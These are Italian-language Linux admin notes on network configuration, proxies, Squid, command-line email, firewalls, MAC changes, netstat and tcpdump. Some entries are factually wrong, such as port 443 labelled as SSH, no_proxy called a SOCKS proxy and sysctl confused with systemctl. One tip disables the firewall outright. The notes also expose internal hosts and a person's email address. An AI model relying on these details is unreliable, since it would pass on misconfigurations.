o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

 

CONFIGURAZIONE RETE NETWORKING RED HAT CENTOS 7 e 8

*) I file di configurazione delle interfacce di rete si trova al path:

/etc/sysconfig/network-scripts/

In questa directory troveremo dei file che hanno lo stesso nome delle interfacce di rete visibili con il comando "ip a".

Esempio:

[root@localhost network-scripts]# ip a

1: lo: <LOOPBACK,UP,LOWER_UP> …

2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> …

3: enp0s8: <BROADCAST,MULTICAST,UP,LOWER_UP> …

*) Dall’output del comando "ip a" risultano 2 interfacce di rete: enp0s3 e enp0s8 (escludendo la loopback "lo")

*) Nella dir /etc/sysconfig/network-scripts/ troviamo:

[root@localhost ~]# cd /etc/sysconfig/network-scripts/

[root@localhost network-scripts]# ll

totale 8

-rw-r--r--. 1 root root 282 16 mar 18.24 ifcfg-enp0s3

-rw-r--r--. 1 root root 282 16 mar 19.07 ifcfg-enp0s8

 

*) Editiamo il file ifcfg-enp0s3 con vim (IP DINAMICO ASSEGNAZIONE AUTOMATICA IN DHCP)

vim /etc/sysconfig/network-scripts/ifcfg-enp0s3

------------------------------------------

TYPE=Ethernet

PROXY_METHOD=none

BROWSER_ONLY=no

BOOTPROTO=dhcp

DEFROUTE=yes

IPV4_FAILURE_FATAL=no

IPV6INIT=yes

IPV6_AUTOCONF=yes

IPV6_DEFROUTE=yes

IPV6_FAILURE_FATAL=no

IPV6_ADDR_GEN_MODE=stable-privacy

NAME=enp0s3

UUID=7e6541d2-caad-4dd9-89b6-45a0c01be099

DEVICE=enp0s3

ONBOOT=yes

------------------------------------------

Questo file di configurazione utilizza l’assegnazione automatica dell’IP Address all’interfaccia.

I parametri più importanti da tenere d’occhio sono:

BOOTPROTO=dhcp

ONBOOT=yes

Se il parametro ONBOOT fosse settato a no (ONBOOT=no) l’interfaccia non verrà attivata all’avvio del sistema

*) Di seguito un file di configurazione con IP STATICO

-------------------------------------------

TYPE="Ethernet"

PROXY_METHOD="none"

BROWSER_ONLY="no"

BOOTPROTO="none"

DEFROUTE="yes"

IPV4_FAILURE_FATAL="no"

IPV6INIT="yes"

IPV6_AUTOCONF="yes"

IPV6_DEFROUTE="yes"

IPV6_FAILURE_FATAL="no"

IPV6_ADDR_GEN_MODE="stable-privacy"

NAME="ens32"

UUID="674f68dc-3c0f-44d7-a8ef-c8391ea82d13"

DEVICE="ens32"

ONBOOT="yes"

IPADDR="192.168.31.77"

PREFIX="26"

GATEWAY="192.168.31.65"

DNS1="192.168.30.251"

DOMAIN="prod.sidt.local"

IPV6_PRIVACY="no"

ZONE=public

----------------------------------------------

NOTA: Il campo PREFIX indica la subnet mask. Nel caso dell’esempio, una /26 (255.255.255.192)

*) Per gestire più facilmente le configurazioni delle interfacce di rete è stato introdotto il tool nm (Network Manager) disponibile di default dalla versione 8 di Redhat/Centos. Dalla versione 8 di RedHat/Centos le configurazioni delle interfacce di rete vengono gestite esclusivamente tramite il comando "nmcli"

TOOL NMCLI (Network Manager Command Line Interface)

nmcli ====> Apre la finestra di dialogo di tipo Linea di Comando per i settaggi di rete

E’ disponibile anche il tool nmtui (Network Manager Text User Interface) ma il suo uso è fortemente SCONSIGLIATO

 

Esempio: Comando per configurare l’nterfaccia di rete enp0s8 con IP DINAMICO DHCP:

nmcli connection add type ethernet con-name enp0s8 ifname enp0s8 ipv4.method auto connection.autoconnect yes

Il precedente comando permette di configurare molteplici aspetti ed è così suddiviso (usare il TAB per il completamento automatico):

nmcli ===> E’ il comando principale (Network Manager Command Line Interface)

connection add ===> Aggiunge una nuova connessione

type ethernet ===> Definisce il tipo di connessione (ethernet)

con-name enp0s8 ===> Definisce il nome della connessione (per comodità scelto uguale al nome dell’interfaccia)

ifname enp0s8 ===> Specifica il nome dell’interfaccia da utilizzare

ipv4.method auto ===> Specifica l’utilizzo del DHCP per l’ottenimento automatico dell’IP Address

connection.autoconnect yes ===> Specifica che la connessione deve essere attivata all’avvio del Sistema Operativo

Esempio: Comando per configurare l’nterfaccia di rete enp0s8 CON IP STATICO SENZA DHCP:

nmcli connection add type ethernet con-name enp0s8 ifname enp0s8 ipv4.method manual ipv4.addresses 192.168.xxx.yyy/24 ipv4.gateway 192.168.xxx.yyy ipv4.dns 8.8.8.8 connection.autoconnect yes

 

nmcli connection reload ===> Riavvia tutte le connessioni di rete

 

NOTA: Nel caso nella dir /etc/sysconfig/network-scripts/ non dovesse essere presente il file relativo ad un interfaccia che invece compare con ip a significa che quell’interfaccia è disconnessa. Per verificare lanciare semplicemente il comando nmcli.

A seguito del comando

nmcli connection add type ethernet con-name enp0s8 ifname enp0s8 ipv4.method auto connection.autoconnect yes

verrà creato anche il relativo file di configurazione

 

 

CONFIGURAZIONE MODIFICA IP INTERFACCE DI RETE (NETWORK INTERFACES)

*) Comandi per avvio, arresto servizi di rete

/etc/init.d/service network-manager status ===> Visualizza lo stato del Servizio di rete

/etc/init.d/service network-manager restart ===> Riavvia il Servizio di rete

/etc/init.d/networking {start | stop | restart | force-reload} ===> Avvia, Arresta, Riavvia il Servizio di Rete

*) Per Impostare o modificare un indirizzo IP in linux ci sono diversi modi che differiscono in base alla distribuzione in uso ed alla versione.

Alcune distribuzioni utilizzano esclusivamente i file di configurazione, altre invece mettono a disposizione tool e comandi.

Tra i comandi più diffusi:

*) nmcli

*) nmtui

*) sysctl kernel.hostname=nuovohostname

*) hostname nuovohostname

--------------------------------------------------------------------------------

FILE DI CONFIGURAZIONI INTERFACCE DI RETE (NETWORK INTERFACES)

*) File di configurazione (IP, NetMask, Gateway) delle interfacce di rete (DEBIAN BASED)

/etc/network/interfaces

ESEMPIO:

----------------------

# This file describes the network interfaces available on your system

2 # and how to activate them. For more information, see interfaces(5).

3

4 source /etc/network/interfaces.d/*

5

6 # The loopback network interface

7 auto lo

8 iface lo inet loopback

9

10 # The primary network interface

11 auto eth0

12 allow-hotplug eth0

13 iface eth0 inet dhcp

14 #iface eth0 inet static

15 # address 192.168.96.171

16 # netmask 255.255.255.0

17 # gateway 192.168.96.52

18

19 #wpa-driver wired

20 #wpa-conf /etc/wpa_supplicant.conf

----------------------

 

 

*) File di configurazione (IP, NetMask, Gateway, DNS) delle interfacce di rete (REDHAT)

/etc/sysconfig/network-scripts/ifcfg-eth0

oppure

/etc/sysconfig/network-scripts/ifcfg-ensXX

ESEMPIO:

---------------------

HWADDR=00:50:56:ba:6b:c8

NAME=eth0

GATEWAY=192.168.30.65

DNS1=192.168.30.252

DOMAIN=prod.sidt.local

DEVICE=eth0

ONBOOT=yes

USERCTL=no

BOOTPROTO=static

NETMASK=255.255.255.192

IPADDR=192.168.30.72

PEERDNS=no

check_link_down() {

return 1;

}

---------------------

 

 

*) File di configurazione del DNS (DEBIAN)

/etc/resolv.conf

ESEMPIO

---------------------

1 domain postel.it

2 search postel.it

3 nameserver 10.103.8.8

4 nameserver 10.103.8.5

5 nameserver 10.103.8.10

---------------------

 

--------------------------------------------------------------------------------

COMANDO IFCONFIG

NOTA: Il commando ifconfig è deprecato da diversi anni ed il suo uso è sconsigliato. Al suo posto si raccomanda l’uso del commando "ip"

ifconfig eth0 192.168.0.225 netmask 255.255.255.0 up

(Configura l’interfaccia di rete eth0 con IP Address = 192.168.0.225 e subnetmask = 255.255.255.0)

In alcune distribuzioni i parametri di cui sopra vanno salvati nel file

/etc/network.conf

oppure in

/etc/network/interfaces

Nelle distribuzioni basate su Debian (Ubuntu, Kali, Parrot, etc.) il file di configurazione si trova in:

/etc/network/interfaces

Di seguito un esempio di file interfaces:

############### interfaces #######################

# This file describes the network interfaces available on your$

# and how to activate them. For more information, see interfac$

#

#Path = /etc/network/interfaces

#

source /etc/network/interfaces.d/*

# The loopback network interface

auto lo

iface lo inet loopback

# Primary Network Interface

# Configurazione Statica SENZA dhcp

auto ens160

iface ens160 inet static

address 192.168.1.69

gateway 192.168.1.1

netmask 255.255.255.0

dns-nameserver 8.8.8.8 8.8.4.4

# Secondary Network Interface

# Configurazione Automatica con DHCP

auto ensxxx (ethx)

iface ensxxx inet dhcp

############################################

-----------------------------------------------------------------

RIAVVIARE SERVIZIO DI RETE (Networking)

*) Una volta aggiornato il file (usando nano o vi, vedi paragrafi appositi) è necessario riavviare il Servizio di Rete

*) Per riavviare il servizio di rete bisogna prima diventare root (sudo -s) e poi dare il comando:

/etc/init.d/networking {start | stop | restart | force-reload}

---------------------------------------------

COMANDO IP

ip a ====> Visualizza configurazione base di tutte le interfacce (simile a ifconfig)

ip r ====> Visualizza il Default Gateway

ip link show ===> Visualizza dettagli sui MAC Address di tutte le interfacce

ip addr show ===> Visualizza dettagli sugli IP Address di tutte le interfacce

ip addr add ===> Aggiungi un IP Address

ip addr del ===> Rimuovi un IP Address

----------------------------------------------

MODIFICA DNS

*) Aprire il file resolv.conf

vi etc/resolv.conf

*) Aggiungere i nuovi DNS (uno per riga)

nameserver xxx.xxx.xxx.xxx

nameserver xxx.xxx.xxx.xxx

*) Verificare l'avvenuta modifica

nmcli device show ethx | grep DNS

MODIFICA HOSTNAME

*) Per modificare l'hostname basta aprire una shell di root e digitare:

hostname nuovohostname

*) E' anche possibile cambiare l'hostname tramite systemctl (per le distribuzioni Linux abbastanza recenti da supportarlo). Con questa modalita, il comando è lo stesso per tutte le distro:

sysctl kernel.hostname=nuovohostname

*) Se vogliamo che la modifica sia permanente dobbiamo modificare il file di configurazione (da root):

DEBIAN

vi /etc/hostname

--------------

nuovohostname

--------------

REDHAT

vi /etc/sysconfig/network

--------------

NETWORKING=yes

HOSTNAME=nuovohostname

--------------

--------------------------------

VERIFICARE IP PUBBLICO

curl ipinfo.io ===> Mostra IP Pubblico, coordinate GPS, Citta, Stato e ISP

wget https://ipinfo.io/ip -qO -

wget -q -O - checkip.dyndns.org|sed -e 's/.*Current IP Address: //' -e 's/<.*$//'

curl -s checkip.dyndns.org|sed -e 's/.*Current IP Address: //' -e 's/<.*$//'

curl ifconfig.me

------------------------------------------------------------

CONFIGURAZIONE PROXY da Shell (CLI)

CONFIGURAZIONE DEFINITIVA (TEST OK su Parrot)

*) Per rendere definitive le impostazioni modificare il file environments in /etc

vi /etc/environments

http_proxy="IP_ADDRESS:PORT" // HTTP

https_proxy="IP_ADDRESS:PORT" // SSL_TSL

no_proxy="IP_ADDRESS:PORT" // SOCK

CONFIGURAZIONE TEMPORANEA (TEST OK su Parrot)

*) Per configurare un Proxy in maniera temporanea basta lanciare i seguenti comandi (anche senza privilegi SU)

export http_proxy="IP_ADDRESS:PORT" ===> HTTP Proxy

export https_proxy="IP_ADDRESS:PORT" ===> HTTPS Proxy

export ftp_proxy="IP_ADDRESS:PORT" ===> FTP Proxy

export no_proxy="IP_ADDRESS:PORT" ===> SOCKS Proxy

*) Per annullare le configurazioni precedenti:

unset http_proxy

unset https_proxy

unset ftp_proxy

unset no_proxy

If a proxy server requires authentication, set the proxy variables as follows:

export http_proxy="http://USER:PASSWORD@PROXY_SERVER:PORT"

export https_proxy="https://USER:PASSWORD@PROXY_SERVER:PORT"

export ftp_proxy="http://USER:PASSWORD@PROXY_SERVER:PORT"

Special Characters: If your password contains special characters, you must replace them with ASCII codes, for example the at sign @ must be replaced by the %40 code, e.g. p@ssword = p%40ssword

export http_proxy="http://192.168.20.212:8080" ===> Esporta la variabile d'ambiente proxy per la connessione internet tramite shell

N.B.

Gli indirizzi IP (o hotname) e il numero di porta del server Proxy all'interno della stringa "export", può essere scritto anche senza racchiuderlo tra gli apici ""

Es.

export http_proxy="192.168.20.212:8080" <===> export http_proxy=192.168.20.212:8080

---------------------------------------------------

PROXYCHAINS

Forza ogni applicativo specificato come argomento, a connettersi attraverso l'indirizzo IP specificato nel file /etc/proxychains.conf

Esempio:

wget http://ipinfo.io/ip -qO -

112.116.38.217

proxychains wget http://ipinfo.io/ip -qO -

117.49.34.125

*) Nel primo caso il comando wget restituisce l'IP del nostro ISP, nel secondo caso invece restituisce l'IP del proxy. Per aggiungere o modificare il proxy:

vi /etc/proxychains.conf

################ proxychains.conf ################

...

strict_chain

...

proxy_dns

...

[ProxyList]

...

socks4 IP_ADDESS PORT

##################################################

================================================================

WGET CONFIGURAZIONE PROXY

*) E' possibile configurare il tool wget per utilizzare il proxy senza bisogno di specificrlo altrove.

Il file di configurazione di wget si trova generalmente in:

/etc/wgetrc

ESEMPIO:

vim /etc/wgetrc

---

# You can set the default proxies for Wget to use for http, https, and ftp.

# They will override the value in the environment.

#https_proxy = http://proxy.yoyodyne.com:18023/

https_proxy = http://192.168.20.212:8080

http_proxy = http://192.168.20.212:8080

#ftp_proxy = http://proxy.yoyodyne.com:18023/

---

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

CREARE SERVER PROXY con SQUID su CENTOS 7

*) Per prima cosa installare squid

yum install squid (centos)

oppure

apt-get install squid (Debian)

*) Una volta installato squid e' necessario abilitarlo e startarlo

systemctl enable squid.service

systemctl restart squid.service

*) Creare la regola per il firewall

firewall-cmd --permanent --add-port=3128/tcp (Se necessario cambiare il numero di porta con quello settato in /etc/squid/squid.conf)

*) Con il comando "ip a" visualizzare l'indirizzo IP della macchina Server Proxy

*) Dalla macchina client, provare a pingare l'IP del server (appena ottenuto) per testarne la raggiungibilità

*) In caso di problemi disabilitare completamente il firewall

systemctl disable firewalld

*) A questo punto e' necessario configure opportunamente quid in base ai parametri specifici del nostro sistema.

Per settare i parametri, modificare il file /etc/squid/squid.conf

################# squid.conf ##################################

#

# Recommended minimum configuration:

#

 

 

# Example rule allowing access from your local networks.

# Adapt to list your (internal) IP networks from where browsing

# should be allowed

#acl localnet src 10.0.0.0/8 # RFC1918 possible internal network

#acl localnet src 172.16.0.0/12 # RFC1918 possible internal network

acl localnet src 192.168.43.0/24 #### CONFIGURARE QUI LA PROPRIA RETE

#acl localnet src fc00::/7 # RFC 4193 local private network range

#acl localnet src fe80::/10 # RFC 4291 link-local (directly plugged) machines

 

 

http_access allow localnet

 

 

acl badsites url_regex "/etc/squid/badsites"

### LISTA DEI SITI DA BLOCCARE

http_access deny badsites

 

 

acl SSL_ports port 443

acl Safe_ports port 80 # http

acl Safe_ports port 21 # ftp

acl Safe_ports port 443 # https

acl Safe_ports port 70 # gopher

acl Safe_ports port 210 # wais

acl Safe_ports port 1025-65535 # unregistered ports

acl Safe_ports port 280 # http-mgmt

acl Safe_ports port 488 # gss-http

acl Safe_ports port 591 # filemaker

acl Safe_ports port 777 # multiling http

acl CONNECT method CONNECT

 

 

#

# Recommended minimum Access Permission configuration:

#

# Deny requests to certain unsafe ports

http_access deny !Safe_ports

 

 

# Deny CONNECT to other than secure SSL ports

http_access deny CONNECT !SSL_ports

 

 

# Only allow cachemgr access from localhost

http_access allow localhost manager

http_access deny manager

 

 

# We strongly recommend the following be uncommented to protect innocent

# web applications running on the proxy server who think the only

# one who can access services on "localhost" is a local user

#http_access deny to_localhost

 

 

#

# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS

#

 

# Example rule allowing access from your local networks.

# Adapt localnet in the ACL section to list your (internal) IP networks

# from where browsing should be allowed

http_access allow localnet

http_access allow localhost

 

 

# And finally deny all other access to this proxy

http_access deny all

 

 

# Squid normally listens to port 3128

#http_port 3128

http_port 9090 ### CONFIGURARE QUI IL NUMERO DI PORTA

 

 

# Uncomment and adjust the following to add a disk cache directory.

#cache_dir ufs /var/spool/squid 100 16 256

 

 

# Leave coredumps in the first cache dir

coredump_dir /var/spool/squid

 

 

#

# Add any of your own refresh_pattern entries above these.

#

refresh_pattern ^ftp: 1440 20% 10080

refresh_pattern ^gopher: 1440 0% 1440

refresh_pattern -i (/cgi-bin/|\?) 0 0% 0

refresh_pattern . 0 20% 4320

################################################################

*) Per conferma vediamo lo status del servizio

systemctl status squid

*) Se risulta attivo allora non rimane altro che:

-) Andare sulla macchina Client

-) Aprire le proprieta' di rete o del browser (Firefox)

-) Settare l'IP address e la Porta del Server nel campo "Proxy"

*) Per verificare il funzionamento e le connessioni attive:

tail -300f /var/log/squid/access.log

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

============================================================================

INVIARE EMAIL DA TERMINALE SHELL RIGA DI COMANDO COMMAND LINE

============================================================================

INVIARE EMAIL DA CLI TRAMITE CURL

curl smtp://SMTPServerIP:25 -v --mail-from account@gestore.xy --mail-rcpt account@gestore.xy --upload-file testodellamail.txt

 

Esempio:

------------------------------------------------------------------------------------------------

curl smtp://172.30.122.240:25 --mail-from patenti@vmp-mit1.prod.patenti.local --mail-rcpt simone.soldati@postel.it --upload-file testomail-slam.txt

% Total % Received % Xferd Average Speed Time Time Time Current

Dload Upload Total Spent Left Speed

0 0 0 0 0 103 0 1719 --:--:-- --:--:-- --:--:-- 1745

------------------------------------------------------------------------------------------------

*) Aggiungendo l'opzione -v saranno visualizzati i comandi e le risposte del server SMTP

Esempio:

------------------------------------------------------------------------------------------------

curl smtp://192.168.20.230:25 -v --mail-from patenti@vmp-mit1.prod.patenti.local --mail-rcpt simone.soldati@postel.it --upload-file testomail-patenti.txt

* About to connect() to 192.168.20.230 port 25 (#0)

* Trying 192.168.20.230...

% Total % Received % Xferd Average Speed Time Time Time Current

Dload Upload Total Spent Left Speed

0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 192.168.20.230 (192.168.20.230) port 25 (#0)

< 220 vmp-dns.localdomain ESMTP Postfix

> EHLO testomail-patenti.txt

< 250-vmp-dns.localdomain

< 250-PIPELINING

< 250-SIZE 10240000

< 250-VRFY

< 250-ETRN

< 250-ENHANCEDSTATUSCODES

< 250-8BITMIME

< 250 DSN

> MAIL FROM:<patenti@vmp-mit1.prod.patenti.local> SIZE=111

< 250 2.1.0 Ok

> RCPT TO:<simone.soldati@postel.it>

< 250 2.1.5 Ok

> DATA

< 354 End data with <CR><LF>.<CR><LF>

} [data not shown]

* We are completely uploaded and fine

< 250 2.0.0 Ok: queued as F328B483D8

0 0 0 0 0 111 0 760 --:--:-- --:--:-- --:--:-- 765

* Connection #0 to host 192.168.20.230 left intact

------------------------------------------------------------------------------------------------

============================================================================

INVIARE EMAIL DA CLI TRAMITE MAILX (/bin/mailx)

cat /percorso/directory/nomefile.txt | /bin/mailx -v -s "Oggetto della Mail" destinatario@email.it

*) mailx utilizza l'indirizzo del Server SMTP che si trova in /etc/hosts.

Esempio:

----------------------------------

69.23.69.23 mailhost

----------------------------------

*) L'opzione -v visualizza i dettagli delle operazione svolte. Generalmente le informazioni vengono visualizzate direttamente sotto la riga del comando.

Altre volte invece il report viene salvato in un file di log separato e mailx riporta soltanto il messaggio:

-----------------------------------------------------------------

Mail Delivery Status Report will be mailed to <username>

-----------------------------------------------------------------

Il log in questione si trova generalmente in:

/var/log/maillog

/var/log/mail.log

/var/adm/maillog

/var/adm/syslog/mail.log

=================================================================================

INVIARE EMAIL DA CLI TRAMITE PYTHON

*) Esempio: Invio email tramite SMTP Postel (no autenticazione)

--== inviamail.py ==--

-----------------------------------------------------------

# Python

# Riferimanto in sviluppo: inviamail-devel01.py

 

 

import smtplib

import argparse

 

 

parser = argparse.ArgumentParser()

parser.add_argument("-s", "--smtp", type=str, help="IP Address o FQNDN del Server SMTP")

parser.add_argument("-m", "--mittente", type=str, help="Indirizzo email del Mittente")

parser.add_argument("-d", "--destinatario", type=str, help="Indirizzo mail del Destinatario")

parser.add_argument("-o", "--oggetto", type=str, help="Oggetto della Mail")

parser.add_argument("-t", "--testo", type=str, help="Testo del messaggio")

args = parser.parse_args()

 

 

smtp = args.smtp

mittente = args.mittente

destinatario = args.destinatario

oggetto = args.oggetto

testo = args.testo

 

 

#oggetto = "Subject: Urgente! da leggere subito\n\n"

 

#testo = "Connettiti al Server che e' meglio\nDammi retta\nMUOVITI !!!!"

 

 

messaggio = oggetto + "\n\n" + testo

 

 

email = smtplib.SMTP(smtp, 25)

 

# email = smtplib.SMTP(smtp.gmail.com, 587) # parametri smtp di gmail.com

 

email.ehlo()

 

# email.starttls() # Decommentare solo se e' richiesta autenticazione

# email.login("account", "password") # Decommentare solo se e' richiesta autenticazione

email.sendmail(mittente,destinatario,messaggio)

email.quit()

 

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

FIREWALL LINUX IPTABLES NETFILTER

In Linux ci sono diversi modi e diversi comandi per gestire i firewall che differiscono in base alla distribuzione.

Di seguito alcuni comandi utili per configurare in maniere diverse il firewall di linux.

Non tutti i comandi funzioneranno su tutte le distribuzioni. Quindi e' opportuno provarli ed utilizzarli se accettati.

COMANDI UTILI FIREWALL

 

COMANDO FIREWALL-CMD FIREWALLD (su NFTABLES)

Nelle versioni Linux più recenti il firewall è gestito dal demone firewalld basato su nftables tramite l’utility firewall-cmd. Questo nuovo sistema soppianta e sostituisce il vecchio sistema basato su iptables e netfilter

*) Visualizzare il Manuale e l’help del comando

man firewall-cmd

firewall-cmd --help

*) Visualizzare tutte le porte e/o i protocolli aperti

firewall-cmd --list-all

*) Abilitare un servizio in ascolto a ricevere connessioni dall’esterno

firewall-cmd --permanent --add-service=nome-servizio

Esempio:

firewall-cmd --permanent --add-service=cockpit

*) Aprire la porta 443 TCP (SSH)

firewall-cmd --permanent --add-port=443/tcp

*) Chiudere la stessa porta 443 TCP (SSH)

firewall-cmd --permanent --remove-port=443/tcp

*) Riavviare il servizio firewall

firewall-cmd --reload

 

ESEMPIO:

*) Aprire porte per LDAP

firewall-cmd --permanent --add-port=389/tcp

firewall-cmd --permanent --add-port=636/tcp

firewall-cmd --permanent --add-port=9830/tcp

--------------------------------------------------------

COMANDO SYSTEMCTL per FIREWALL

*) Comando per verificare lo stato del firewall

systemctl status firewalld

*) Comando per avviare (startare) il firewall

systemctl start firewalld

*) Comando per arrestare (stoppare) il firewall

systemctl stop firewalld

*) Comando per abilitare il firewall (avvio automatico al boot)

systemctl enable firewalld

*) Comando per disabilitare completamente il firewall

systemctl disable firewalld

--------------------------------------------------------

COMANDO IPTABLE per FIREWALL

Il kernel Linux dispone di un firewall integrato, implementato grazie al framework Netfilter attraverso una serie di moduli detti tables (ip_tables, ip6_tables, arp_tables, ecc). Il comportamento di questi moduli è controllato infatti dalle corrispondenti tabelle di configurazione, ognuna costituita da una o più catene di regole (chain). Essenzialmente, una catena è una lista di regole alle quali viene sottoposto il pacchetto in esame. Ogni regola è a sua volta costituita da uno o più match, che determinano se il pacchetto in oggetto debba essere o meno affetto dalla regola, e da un target, che nel caso di match della regola determina l’azione da intraprendere.

Esistono 5 chain predefinite:

*) PREROUTING

*) INPUT

*) FORWARD

*) OUTPUT

*) POSTROUTING

COMANDI UTILI IPTABLES

*) Visualizza elenco delle regole in uso

iptables -nVL

*) Impedire connessioni in ingresso provenienti da IP 10.10.10.10

iptables -A INPUT -s 10.10.10.10 -j DROP

 

OPZIONI IPTABLES

*) -A: usata per aggiungere una regola alla catena specificata (INPUT in questo caso);

*) -s: che specifica che il criterio di match della regola è l’indirizzo della sorgente;

*) -j: usata per indicare il target (DROP in questo caso; come si intuisce, il target DROP è usato per scartare il pacchetto);

 

PERSISTENZA

*) Le modifiche alla configurazione effettuate con iptables non sono permanenti. Al riavvio della macchina, il firewall userà nuovamente le regole di default. Per memorizzare la configurazione in modo permanente è sufficiente installare il pacchetto iptables-persistent, con il comando:

apt-get install iptables-persistent

 

*) Dopo l’installazione, per memorizzare i cambiamenti effettuati con il comando iptables è sufficiente digitare:

iptables-persistent save

------------------------------------------------------

 

UFW (Uncomplicated FireWall)

*) UFW è preinstallato per default su Ubuntu, ma non attivato. Per attivarlo, è sufficiente digitare il comando:

ufw enable

*) Nella maggior parte delle altre distro va installato.

synhack@localhost:~$ ufw

bash: ufw: comando non trovato...

Installare il pacchetto «ufw» per fornire il comando «ufw»? [N/y]

COMANDI UTILI UFW

*) Visualizzare lo stato del firewall

ufw status

 

*) Impedire connessioni in ingresso provenienti da IP 10.10.10.10

ufw deny from 10.10.10.10

 

*) Accettare connessioni verso una specifica porta TCP (Es. 80)

ufw allow tcp/80

 

*) Impedire connessioni in ingresso da una specifica porta TCP (Es. 22 SSH)

ufw deny tcp/22

*) Nel comando si puo specificare anche su quale interfaccia applicare le regole

ufw allow in on eth1 to any port 22 proto tcp

 

Persistenza

A differenza del comando iptables, le modifiche effettuate con il comando ufw sono persistenti e non è quindi necessario dare altri comandi per memorizzarle in via definitiva.

Fonte: https://www.html.it/pag/18678/iptables-configurare-il-firewall/

 

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

CAMBIARE MAC ADDRESS DA CLI

ip link set ethx down

ip link set ethx address xx:xx:xx:xx:xx:xx

ip link set ethx up

*) Per generare un MAC Address "coerente" con lo standard, utilizzare il tool MacChanger

macchanger -r ethx ===> Genera un MAC Address casuale e lo assegna all'interfaccia specificata (r=random)

------------------------------------------------------------

route add net 0.0.0.0/0 gw 192.168.0.1

(Configura il default gateway = 192.168.0.1. l’IP 0.0.0.0/0 stabilisce che il gateway deve essere usato per tutte le destinazioni diverse dalla subnet di appartenenza)

gedit /etc/resolv.conf

(Il comando sopra edita il file di configurazione resolv.conf nel quale andremo a scrivere l’IP Address del Server DNS come segue)

nameserver 195.110.128.1

(Una volta scritta la stringa riportata sopra, salvare e chiudere il file resolv.conf)

backup della configurazione delle interfacce (ifcfg-eth0)

/etc/sysconfig/network-scripts (percorso su RedHat, CentOS)

cp ifcfg-eth0 ifcfg-eth0_copy

*) Nei nuovi sistemi (soprattutto RedHat, CentOS e Fedora) usare i seguenti comandi:

nmtui ===> Apre un’interfaccia semigrafica con cui configurare i parametri di rete

nmcli dev show ===> mostra dettagli interfacce rete su centos 7.5

--------------------------------

NETSTAT

netstat -an ===> Visualizza tutte le connessioni

netstat -al ===> Visualizza tutte le connessioni in ascolto (l=Listening)

netstat -ar ===> Visualizza la Routing Table

netstat -tu ===> Visualizza le connessioni TCP (t) e UDP (p)

netstat -tulpn ===> Visualizza le porte TCP e UDP in ascolto o connesse (richiede privilegi root)

netstat -rea ===> (mostra il default gateway predefinito e altri parametri di rete importanti)

OPZIONI PRINCIPALI

-a ===> All

-l ===> Listening (in ascolto)

-r ===> Routing

-t ===> TCP

-u ===> UDP

-p ===> Mostra il PID

-n ===> Mostra IP Address invece che HostName e N. Porta invece che Nome Servizio

NOTA: Nelle ultime versioni di Linux RedHat/Centos 8 il comando netstat è stato soppiantato dal più evoluto comando "ss".

Molte opzioni sono rimaste invariate per altre (r) si può consultare ss --help

ss -an ===> Visualizza tutte le connessioni

ss -al ===> Visualizza tutte le connessioni in ascolto (l=Listening)

ss -tu ===> Visualizza le connessioni TCP (t) e UDP (p)

ss -tulpn ===> Visualizza le porte TCP e UDP in ascolto o connesse (richiede privilegi root)

 

--------------------------------------------------

TCP DUMP (tcpdump Sniffer da Linea di Comando - Equivalente WireShark)

A volte è necessario risolvere problemi di connettivita' tra sistemi.

Tramite il tool tcpdump possiamo catturare (sniffare) il traffico di rete ed analizzarlo alla ricerca di eventuali errori ed anomalie.

OPZIONI:

-p ====> Non mettere l'interfaccia in modalita' promiscua

-i ====> Permette di specificare l'interfaccia su cui ascoltare (es. eth1 o ens23s)

-n ====> Non convertire IP in hostname (evita DNS lookup)

-nn =====> Non convertire IP e Porte in hostname (evita DNS lookup)

-vvv ====> Massimo livello di verbosita'

-X ====> Visualizza il contenuto dei pacchetti in formato esadecimale (Hexadecimal)

-A ====> Visualizza il contenuto dei pacchetti in formato ASCII

-AX ====> Equivale a -X e -XX. Visualizza i pacchetti in formato esadecimale

*) L'opzione & (E commerciale) alla fine del comando, permette di eseguire il dumping (o sniffing) in background, consentendo così di continuare ad utilizzare la shell mentre il comando è in esecuzione. Per interrompere la cattura, killare il PID del processo tcpdump.

ESEMPIO: Cattura il traffico FTP (porta 21) sull'interfaccia eth1

tcpdump -npi eth1 port 21

ESEMPIO: Cattura il traffico FTP (porta 21) su qualsiasi interfaccia

tcpdump -n port 21

ESEMPIO: Cattura il traffico https (porta 443) da qualsiasi interfaccia e salva i risultati in formato esadecimale (hex) e ASCII in un file di testo.

tcpdump -npvvvAX port 443 >> capture.cap

ESEMPIO: Cattura il traffico https (porta 443) dall’ interfaccia eth1 e salva i risultati in formato esadecimale (hex) e ASCII in un file di testo.

tcpdump –npvvvAXi eth1 port 443 >> capture.cap

 

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

TMUX

INSTALLAZIONE TMUX

apt-get install tmux

yum install tmux

UTILIZZO E OPZIONI

*) Per lanciare TMUX bata semplicemente scrivere

tmux

COMANDI BASE

Ctrl+b ===> Questa combinazione è il default per dire tmux che si sta per dare un comando.

Ctrl+b " ===> Dividere il riquadro corrente in due, superiore e inferiore.

Ctrl+b % ===> Dividere il riquadro corrente in due, destra e sinistra.

Ctrl+b x ===> Chiude il riquadro corrente

Ctrl+b c ===> Crea una nuova finestra

Ctrl+b p ===> Si sposta sulla finestra precedentemente selezionata

Ctrl+b n ===> Si sposta nella finestra successiva

Ctrl+b arrow ===> utilizzando le frecce è possibile andare nel riquadro sopra, sotto, a sinistra, o a destra del riquadro corrente

COPIA INCOLLA

Ctrl+b

Spostarsi fino a ciò che deve essere copiato. Quindi premete Ctrl+Space e selezionate il testo. Una volta selezionato, copiatelo con Alt+w. Per incollare il testo Ctrl+b

